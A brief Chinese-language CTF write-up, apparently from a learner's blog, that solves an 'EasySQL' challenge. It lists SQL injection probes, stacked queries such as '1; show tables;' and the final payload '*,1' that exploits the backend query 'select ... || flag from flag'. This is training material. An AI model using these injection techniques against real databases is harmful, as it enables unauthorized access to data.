EasySQL 1

题目得到是SQL注入,那就直接上手,先按常规的来:

1
2
3
4
5
6
输入
1 返回数据
1' 没有返回数据 看来不需要'
1; 正常返回
1; show databases; 和前面学到的堆叠一样的原理
1; show tables; Array ( [0] => Flag )

接下来就没有头绪了,看了一下WP,感觉大佬说的听不太懂
1
select $_GET['query'] || flag from flag

这是内嵌的select

输入的参数都传给了query,所以只要query为1,即为真,就返回flag

但是我真的很想知道这个内嵌是怎么看出来的,唉,还是太菜了

最后输入

1
*,1

得到flag

最后这个输入进去,按照刚才的拼接,后台的代码呈现的应该是:

1
select *,1 || flag from flag

大佬们还是太强了